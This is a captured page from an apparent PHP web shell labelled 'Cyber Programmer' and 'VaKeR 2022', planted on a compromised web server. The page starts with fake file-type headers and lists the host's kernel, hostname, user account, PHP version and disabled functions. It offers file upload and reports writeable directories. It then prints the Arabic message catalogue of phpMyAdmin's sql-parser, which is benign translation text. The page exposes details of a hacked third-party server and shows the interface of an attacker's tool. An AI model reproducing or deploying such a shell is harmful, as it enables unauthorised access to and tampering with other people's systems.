%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/phpmyadmin/sql-parser/locale/ar/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/phpmyadmin/sql-parser/locale/ar/LC_MESSAGES/sqlparser.po
#
msgid ""
msgstr ""
"Project-Id-Version: SQL parser 5\n"
"Report-Msgid-Bugs-To: translators@phpmyadmin.net\n"
"POT-Creation-Date: 2023-02-26 22:46+0100\n"
"PO-Revision-Date: 2023-01-26 07:10+0000\n"
"Last-Translator: liviuconcioiu <liviu.concioiu@gmail.com>\n"
"Language-Team: Arabic <https://hosted.weblate.org/projects/phpmyadmin/sql-"
"parser/ar/>\n"
"Language: ar\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=6; plural=n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 "
"&& n%100<=10 ? 3 : n%100>=11 ? 4 : 5;\n"
"X-Generator: Weblate 4.16-dev\n"

#: src/Component.php:39 src/Component.php:59
msgid "Not implemented yet."
msgstr "لم تنفذ بعد."

#: src/Components/AlterOperation.php:415 src/Statement.php:359
msgid ""
"A new statement was found, but no delimiter between it and the previous one."
msgstr "تم العثور على بيان جديد، ولكن لا يوجد محدد بينه وبين سابقه ."

#: src/Components/AlterOperation.php:427
msgid "Missing comma before start of a new alter operation."
msgstr "فاصلة مفقودة قبل بدء عملية تغيير جديدة."

#: src/Components/AlterOperation.php:472
msgid "Unrecognized alter operation."
msgstr "عملية تغيير غير معروفة."

#: src/Components/Array2d.php:88
#, php-format
msgid "%1$d values were expected, but found %2$d."
msgstr "تم توقع قيم %1$d ، ولكن تم العثور على %2$d."

#: src/Components/Array2d.php:108
msgid "An opening bracket followed by a set of values was expected."
msgstr "من المتوقع وجود قوس فتح متبوعا بمجموعة من القيم."

#: src/Components/ArrayObj.php:106 src/Components/CreateDefinition.php:233
msgid "An opening bracket was expected."
msgstr "من المتوقع وجود قوس مفتوح."

#: src/Components/CaseExpression.php:133 src/Components/CaseExpression.php:161
#: src/Components/CaseExpression.php:172 src/Components/CaseExpression.php:184
#: src/Components/IndexHint.php:134 src/Components/IndexHint.php:164
#: src/Components/LockExpression.php:173 src/Components/LockExpression.php:180
#: src/Components/LockExpression.php:188 src/Statements/DeleteStatement.php:249
#: src/Statements/DeleteStatement.php:268
#: src/Statements/DeleteStatement.php:308
#: src/Statements/DeleteStatement.php:320
#: src/Statements/DeleteStatement.php:346
#: src/Statements/DeleteStatement.php:353
#: src/Statements/InsertStatement.php:189
#: src/Statements/InsertStatement.php:220 src/Statements/LoadStatement.php:265
#: src/Statements/LockStatement.php:85 src/Statements/ReplaceStatement.php:149
#: src/Statements/ReplaceStatement.php:178
msgid "Unexpected keyword."
msgstr "كلمة رئيسية غير متوقعة."

#: src/Components/CaseExpression.php:192
msgid "Unexpected end of CASE expression"
msgstr "نهاية غير متوقعة من التعبير"

#: src/Components/CaseExpression.php:212
msgid "Potential duplicate alias of CASE expression."
msgstr "من المحتمل وجود مُسَمَّى إضافي متكرر لعبارة CASE."

#: src/Components/CaseExpression.php:225
msgid "An alias expected after AS but got "
msgstr "يتوقع وضع مُسَمَّى إضافي بعد AS لكن تم وضع "

#: src/Components/CaseExpression.php:238 src/Components/Expression.php:352
#: src/Components/Expression.php:372 src/Components/Expression.php:424
msgid "An alias was previously found."
msgstr "اسم مستعار موجود مسبقا ."

#: src/Components/CaseExpression.php:252
msgid "An alias was expected after AS."
msgstr "كان من المتوقع اسم مستعار بعد AS."

#: src/Components/CreateDefinition.php:255
msgid ""
"A symbol name was expected! A reserved keyword can not be used as a column "
"name without backquotes."
msgstr ""
"كان من المتوقع وجود اسم رمز! لا يمكن استخدام كلمة رئيسية محجوزة كاسم عمود "
"بدون علامات اقتباس."

#: src/Components/CreateDefinition.php:268
msgid "A symbol name was expected!"
msgstr "كان من المتوقع اسم رمز!"

#: src/Components/CreateDefinition.php:300
msgid "A comma or a closing bracket was expected."
msgstr "من المتوقع وجود فاصلة أو قوس إغلاق."

#: src/Components/CreateDefinition.php:313 src/Statements/WithStatement.php:328
msgid "A closing bracket was expected."
msgstr "من المتوقع وجود قوس مغلق."

#: src/Components/DataType.php:130
msgid "Unrecognized data type."
msgstr "نوع بيانات غير معروف."

#: src/Components/ExpressionArray.php:106 src/Statements/WithStatement.php:197
msgid "An expression was expected."
msgstr "متوقع وجود تعبير ."

#: src/Components/Expression.php:257 src/Components/Expression.php:435
msgid "An alias was expected."
msgstr "كان من المتوقع وجود اسم مستعار."

#: src/Components/Expression.php:403
msgid "Unexpected dot."
msgstr "نقطة غير متوقعة."

#: src/Components/IndexHint.php:140 src/Components/IndexHint.php:170
#: src/Components/Key.php:259 src/Components/LockExpression.php:161
#: src/Components/SetOperation.php:138 src/Statement.php:258
#: src/Statements/DeleteStatement.php:263
#: src/Statements/DeleteStatement.php:315
#: src/Statements/ExplainStatement.php:161
#: src/Statements/InsertStatement.php:203
#: src/Statements/InsertStatement.php:240 src/Statements/LoadStatement.php:270
#: src/Statements/LoadStatement.php:291 src/Statements/LoadStatement.php:310
#: src/Statements/LockStatement.php:93 src/Statements/LockStatement.php:100
#: src/Statements/PurgeStatement.php:106 src/Statements/PurgeStatement.php:119
#: src/Statements/PurgeStatement.php:140
#: src/Statements/ReplaceStatement.php:163 src/Statements/WithStatement.php:132
msgid "Unexpected token."
msgstr "رمز غير متوقع."

#: src/Components/Limit.php:78 src/Components/Limit.php:105
msgid "An offset was expected."
msgstr "متوقع حدوث تعويض ."

#: src/Components/LockExpression.php:91 src/Components/LockExpression.php:201
msgid "Unexpected end of LOCK expression."
msgstr "نهاية غير متوقعة لعبارة LOCK ."

#: src/Components/OptionsArray.php:146
#, php-format
msgid "This option conflicts with \"%1$s\"."
msgstr "يتعارض هذا الخيار مع“%1$s“ ."

#: src/Components/RenameOperation.php:103
msgid "The old name of the table was expected."
msgstr "متوفع وجود اسم الجدول القديم ."

#: src/Components/RenameOperation.php:109
msgid "Keyword \"TO\" was expected."
msgstr "متوقع وجود الكلمة الرئيسية \"TO\"."

#: src/Components/RenameOperation.php:124
msgid "The new name of the table was expected."
msgstr "متوقع وجود الاسم الجديد للجدول ."

#: src/Components/RenameOperation.php:140
msgid "A rename operation was expected."
msgstr "نتوقع منك اعادة تسمية ."

#: src/Components/SetOperation.php:121
msgid "Missing expression."
msgstr "تعبير مفقود ."

#: src/Lexer.php:274
msgid "Unexpected character."
msgstr "حرف غير متوقع ."

#: src/Lexer.php:313
msgid "Expected whitespace(s) before delimiter."
msgstr "المسافات البيضاء المتوقعة قبل المحدد."

#: src/Lexer.php:329 src/Lexer.php:348
msgid "Expected delimiter."
msgstr "المحدد المتوقع."

#: src/Lexer.php:1004
#, php-format
msgid "Ending quote %1$s was expected."
msgstr "نتوقع إنهاء الاقتباس %1$s ."

#: src/Lexer.php:1056
msgid "Variable name was expected."
msgstr "متوقع منك اسم متغير ."

#: src/Parser.php:456
msgid "Unexpected beginning of statement."
msgstr "بداية غير متوقعة للبيان."

#: src/Parser.php:499
msgid "Unrecognized statement type."
msgstr "نوع بيان غير معروف."

#: src/Parser.php:587
msgid "No transaction was previously started."
msgstr "لم يتم بدء أي معاملة من قبل."

#: src/Statement.php:327
msgid "This type of clause was previously parsed."
msgstr "تم تحليل هذا النوع من العبارات سابقا."

#: src/Statement.php:398
msgid "Unrecognized keyword."
msgstr "كلمة محجوزة غير معروفة."

#: src/Statement.php:409
msgid "Keyword at end of statement."
msgstr "الكلمة المفتاحية في نهاية البيان."

#: src/Statement.php:555
msgid "Unexpected ordering of clauses."
msgstr "ترتيب غير متوقع للبنود."

#: src/Statements/CreateStatement.php:549
msgid "The name of the entity was expected."
msgstr "نتوفع منك ادراج اسم الكيان ."

#: src/Statements/CreateStatement.php:598
msgid "A table name was expected."
msgstr "نتوقع تسمية الجدول ."

#: src/Statements/CreateStatement.php:603
msgid "At least one column definition was expected."
msgstr "نتوقع منك تعريف عمود علي الاقل ."

#: src/Statements/CreateStatement.php:707
msgid "A \"RETURNS\" keyword was expected."
msgstr "كانت الكلمة الرئيسية \"رجوع\" متوقعة."

#: src/Statements/DeleteStatement.php:329
msgid "This type of clause is not valid in Multi-table queries."
msgstr "هذا النوع من الشرط غير صالح في الاستعلامات متعددة الجداول."

#: src/Statements/LockStatement.php:120
msgid "Unexpected end of LOCK statement."
msgstr "نهاية غير متوقعة لبيان LOCK."

#: src/Statements/PurgeStatement.php:138
msgid "Unexpected keyword"
msgstr "كلمة أساسية غير متوقعة"

#: src/Statements/WithStatement.php:118
#, fuzzy
#| msgid "The name of the entity was expected."
msgid "The name of the CTE was expected."
msgstr "نتوفع منك ادراج اسم الكيان ."

#: src/Statements/WithStatement.php:137
#, fuzzy
#| msgid "A \"RETURNS\" keyword was expected."
msgid "AS keyword was expected."
msgstr "كانت الكلمة الرئيسية \"رجوع\" متوقعة."

#: src/Statements/WithStatement.php:149
#, fuzzy
#| msgid "The name of the entity was expected."
msgid "Subquery of the CTE was expected."
msgstr "نتوفع منك ادراج اسم الكيان ."

#: src/Statements/WithStatement.php:266
#, fuzzy
#| msgid "Unexpected end of LOCK statement."
msgid "Unexpected end of the WITH CTE."
msgstr "نهاية غير متوقعة لبيان LOCK."

#~ msgid "Unexpected end of Lock expression."
#~ msgstr "نهاية غير متوقعة لتعبير LOCK."

#~ msgid "error #1"
#~ msgstr "الخطأ رقم 1"

#~ msgid "strict error"
#~ msgstr "خطأ صارم"

VaKeR 2022